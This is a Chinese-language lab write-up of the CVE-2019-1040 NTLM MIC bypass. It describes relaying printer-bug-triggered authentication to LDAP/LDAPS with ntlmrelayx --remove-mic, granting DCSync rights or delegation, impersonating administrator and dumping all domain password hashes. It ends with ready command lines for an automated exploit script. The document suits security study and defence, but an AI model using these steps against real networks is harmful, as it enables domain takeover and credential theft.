内网大杀器CVE-2019-1040
Preempt的研究人员发现了如何在NTLM身份验证上绕过MIC(Message Integrity Code)保护措施并修改NTLM消息流中的任何字段(包括签名)。该种绕过方式允许攻击者将已经协商签名的身份验证尝试中继到另外一台服务器,同时完全删除签名要求。所有不执行签名的服务器都容易受到攻击。 这个漏洞其实就是可以绕过NTLM MIC的防护,也是NTLM_RELAY漏洞。攻击者利用该漏洞可以绕过NTLM中的MIC(Message Integrity Code)。攻击者可以修改已经协商签名的身份验证流量,然后中继到另外一台服务器,同时完全删除签名要求。通过该攻击方式可使攻击者在仅有一个普通域账号的情况下,运程控制域中任意机器(包括域控服务器)。
这个漏洞需要有发起NTLM请求才能进行漏洞利用,这里可以利用到打印机漏洞,这个其实也不算是什么漏洞,微软有没有进行修复,所以会利用到printerbug.py的工具,此工具触发SpoolService/printer bug,强制Windows主机通过MS-RPRN RPC接口向攻击者进行身份验证。Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信,默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。另外微软表示这个bug是系统设计特点,无需修复。由于打印机是以system权限运行的,所以我们访问打印机rpc,迫使打印机服务向我们发起请求拿到的net-ntlm hash是机器用户hash。
这个地方有两个利用点。一个是攻击Exchange 机器,迫使Exchange机器用户向我们发起请求,另外一个就是攻击域管机器,迫使域管机器用户向我们发起请求。都是机器用户发起的请求,机器用户并不能直接登录。因此不考虑Relay 到smb。我们考虑Relay到Ldap来进行攻击。由于安装Exchange后,Exchange在Active Directory域中具有高权限,Exchange的本地计算机账户会将我们需要提升权限的用户拉入到用户组Exchange Trusted Subsystem,该用户组又隶属于Exchange Windows Permissions。Exchange Windows Permissions组可以通过WriteDacl方式访问Active Directory中的Domain对象,该对象允许该组的任何成员修改域权限,从而可以修改当前域ACL达到提权目的。
身份验证签名(MIC)
MIC是校验和,设计MIC主要是为了防止这个包中途被修改,MIC是在NTLM身份验证的最后一条消息(AUTHENTICATE消息)中发送的签名。MIC是使用HMAC_MD5函数加密计算,它用取决客户端密码的密钥,称为会话密钥来进行加密。重点就是这个密钥是客户端的密码加密。
HMAC_MD5(Session key, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)
NTLM身份验证由3种消息类型组成:NTLM_NEGOTIATE,NTLM_CHALLENGE,NTLM_AUTHENTICATE。为了确保恶意行为者不在传输过程中处理消息,在NTLM_AUTHENTICATE消息中添加了一个额外的MIC(消息完整性代码)字段。MIC是使用会话密钥应用于所有3个NTLM消息的串联的HMAC_MD5,该会话密钥仅对启动认证的帐户和目标服务器是已知的。因此,试图篡改其中一条消息的攻击者(例如,修改签名协商)将无法生成相应的MIC,这将导致攻击失败。
它也出现在NTLM响应中,在NTLM_AUTHENTICATE消息的'msvAvFlag'字段中公布(标志0x2表示该消息包括MIC),它应该完全保护服务器免受试图移除MIC并执行NTLM中继的攻击者的攻击。如果它是0x00000002,它告诉服务器必须存在MIC,如果服务器没有收到MIC的话他就会终止身份验证。
一、攻击域Exchange Server/管理员
前提条件
1.Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。
唯一的要求是,在以共享权限或RBAC模式安装时,Exchange默认具有高权限。
2.域内任意账户。
(由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户)
3.CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,
故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。
4.构造请求使Exchange Server向攻击者进行身份验证,
并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。
5.如果在可信但完全不同的AD林中有用户,
同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接)
漏洞利用攻击链
1.使用域内任意帐户,通过SMB连接到被攻击ExchangeServer,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。
2.中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。
3.使用中继的LDAP身份验证,此时Exchange Server可以为攻击者帐户授予DCSync权限。
攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值(包含域管理员的hash,此时已拿下整个域)。
二、攻击域AD Server/管理员
前提条件
1.服务器可以是任何未修补的Windows Server或工作站,包括域控制器。在定位域控制器时,至少需要一个易受攻击的域控制器来中继身份验证,同时需要在域控制器上触发SpoolService错误。
2.需要控制计算机帐户。这可以是攻击者从中获取密码的计算机帐户,因为他们已经是工作站上的Administrator或攻击者创建的计算机帐户,滥用Active Directory中的任何帐户都可以默认创建这些帐户。
3.CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。
4.通过滥用基于资源的约束Kerberos委派,可以在AD域控服务器上授予攻击者模拟任意域用户权限。包括域管理员权限。
5.如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接)
漏洞利用攻击链
1.使用域内任意帐户,通过SMB连接到被攻击域控服务器,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。
2.中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。
3.使用中继的LDAP身份验证,将受害者服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。
4.攻击者现在可以作为AD服务器上的任意用户进行身份验证。包括域管理员。
CVE-2019-1040利用场景 CVE-2019-1040漏洞的攻击链目前已经确定的两种攻击途径,一个是攻击域Exchange Server,第二个是攻击域AD Server。
攻击Kerberos委派实验环境
Attacker:kali ,机器名:kali :192.168.8.135
DC:windows 2016 ,机器名:dc.one.com :192.168.8. 178 ,域:one.com
SDC:windows 2016, 机器名:dm.one.com :192.168.8.183 ,域:one.com
这里有一个user用户和一个域管理用户administrator
这里利用CVE-2019-1040漏洞打Kerberos委派的话有两个利用场景,假如我们已经获取到了域内某台机器的权限,并且利用这域内用户创建了一个计算机用户。
接着执行ntlmrelayx.py脚本,使用--delegate-access选项,--delegate-access选项将中继计算机帐户(这里即辅助域控制器)的访问权限委托给attacker。接着通过--escalate-user 参数设置test资源委派,最重要的就是--remove-mic参数了,可以去除mic验证。
接着这里触发printerbuy.py脚本,将触发辅助域控制器(SDC)回连Attacker主机,这里回链认证的用户就是user用户.
接着这里可以看到,ntlmrelayx.py通过ldap将该用户账户中继到域控服务器(DC),设置了test$到dm辅助域控制器的约束委派授权
发起test$到dm的s4u,通过-impersonate参数模拟用户administrator的票证。这里就已经获取到了administrator的权限。接着把administrator的票据导入到本地即可访问到辅助域控制器了,我们可以在目标主机(辅助域控制器)上模拟administrator身份,使用secretsdump转储哈希值。通过secretsdump dump出所有密码哈希值:
我们也可以通过直接通过ldaps来添加机器用户来达到配置委派。这个需要域控制器添加到ldaps的证书才能连接ldaps。首先使用OpenSSL,创建新的私钥和根证书。适当回答国家/州/组织的问题,并且密码需要配置号
$ openssl genrsa -aes256 -out ca.key 4096
$ openssl req -new -x509 -days 3650 -key ca.key -out ca.crt
接着把创建好的ca.crt根证书放到DC上面, WIN+R 打开运行输入MMC 接着添加到证书进入,首先根节点添加证书选项
然后把根证书导入进入到域控制器里面,这里需要导入的是受信任的根证书颁发机构这里,不要选到个人这里。
接着就为域控制器办法证书了,在域控制器中创建一个request.inf的文件,里面的CN=填写DC的完整名称,文件的内容如下:
[Version]
Signature="$Windows NT$"
[NewRequest]
Subject = "CN=ACTIVE_DIRECTORY_FQDN" //这里填写域控的全称
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = TRUE
SMIME = FALSE
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
[EnhancedKeyUsageExtension]
OID = 1.3.6.1.5.5.7.3.1 ; Server Authentication
接着在域控制器这里请求生成一个证书,请注意:从Active Directory服务器本身运行该证书以确保正确的私钥->证书关联
C:\> certreq -new request.inf client.csr
接着回到具有openssl的环境中创建一个v3ext.txt,文本内容如下:
keyUsage=digitalSignature,keyEncipherment
extendedKeyUsage=serverAuth
subjectKeyIdentifier=hash
接着根据client.csr使用根证书签发域控制器的计算机证书client.crt,并且检测是否正确
$ openssl x509 \
-req -days 3650 \
-in client.csr -CA ca.crt -CAkey ca.key -extfile v3ext.txt \
-set_serial 01 -out client.crt
// 检测证书是否正确
$ openssl x509 -in client.crt -text
接着把client.crt证书放到域控制器中,执行命令导入证书
C:\> certreq -accept client.crt
接着重新加载ldaps来启用刚刚的证书,创建一个文件ldap-renewservercert.txt ,文件的内容如下:
dn:
changetype: modify
add: renewServerCertificate
renewServerCertificate: 1
-
创建好了之后就重新加载ldaps服务来来达到启用ldaps。
C:\> ldifde -i -f ldap-renewservercert.txt
接着和刚刚的攻击差不多,这里使用ntlmrelayx.py脚本来进行攻击,这里就不需要使用--escalate-user 参数了,等下会通过连接ldaps来添加机器用户,并且设置委派来进行攻击。
触发printerbug脚本发起NTLM 请求到。接着触发辅助域控制器回连攻击主机,回连使用的认证用户是辅助域控制器本地计算机账户one.com/user这个账户。
ntlmrelayx.py脚本通过ldaps将这个用户中继到域控制器中,攻击者冒用user身份在DC上面创建一个新的用户,可以看到ntlmrelayx.py脚本创建了一个LWWAHTYW机器用户,并且对DM也就是辅助域控制器设置了委派权限
接着就可以使用getST.py脚本 ,使用-impersonate参数模拟用户admin请求其票证然后导入票据即可成功攻破到辅助域控制器中成功登录进入到辅助域控制器里面。
攻击Exchange Server实验环境
Attacker:kali ,机器名:kali :192.168.8.135
DC:windows 2012 ,机器名:dc.one.com :192.168.8. 178 ,域:one.com
Exchange Server windows 2012, 机器名:ex.one.com :192.168.8.185 ,域:one.com
这里有一个我们已经获取的普通的域用户user ,接着通过ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议,这里由于Exchange机器用户在Exchange Trusted Subsystem组,Exchange Trusted Subsystem 有write-acl权限,可以给任意用户添加 Dcsync权限。
可以看到impacket包里面的ldapattack.py默认就是一开始通过修改用户ACL来提升用户权限
这里通过--escalate-user来提升指定用户权限。,一样通过参数--remove-mic 来利用CVE-2019-1040漏洞
接着触发打印机漏洞触发SpoolService的bug,来发起NTLM请求
由于安装Exchange后,Exchange在Active Directory域中具有高权限,Exchange的本地计算机账户EX$会被加入用户组Exchange Trusted Subsystem,该用户组又隶属于Exchange Windows Permissions。Exchange Windows Permissions组可以通过WriteDacl方式访问Active Directory中的Domain对象,该对象允许该组的任何成员修改域权限,从而可以修改当前域ACL达到提权目的。可以看到脚本一开始遍历验证中继帐户所在用户组及权限,发现当前账户可以创建用户、可以修改one.com域的ACL,便通过这个来修改user的ACL
SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py,然后提升到了user的权限。
接着user用户就可以通过secretsdump.py的DCSync功能dump出所有密码哈希值:
自动化攻击利用CVE-2019-1040
https://github.com/Ridter/CVE-2019-1040
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip
如果您只想转储KRBTGT,请使用--just-dc-user。
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip --just-dc-user krbtgt
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip --just-dc-user krbtgt